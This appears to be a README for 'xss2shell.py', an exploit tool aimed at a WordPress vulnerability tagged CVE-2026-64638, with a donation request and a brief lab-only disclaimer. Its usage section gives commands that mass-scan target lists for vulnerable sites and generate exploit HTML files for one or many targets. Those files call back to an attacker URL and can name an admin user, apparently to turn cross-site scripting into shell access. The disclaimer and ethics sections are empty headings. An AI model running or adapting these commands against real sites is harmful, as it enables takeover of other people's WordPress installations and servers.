CVE-2026-64638

Donate

Support the maintenance of this project with PayPal or by scanning the QR code below.

QR code for donation

⚡ Simple Usage

Use this project only in safe and authorized environments such as:

Local virtual machines
Docker containers
Isolated lab setups
Authorized penetration testing environments

Example setup:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Example usage:

# 1. Scanning Mode - Detect Vulnerable WordPress Sites:

# Scan a single URL
python xss2shell.py scan http://wp-vm.local

# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt

# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json

# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local

# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/

# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator

CVE-2026-64638

Most Popular

Credit or Reference

📚 Educational Security Research Repository

⚠️ Security & Legal Disclaimer

Purpose

Authorized Use Only

No Liability

Ethical Use

Contact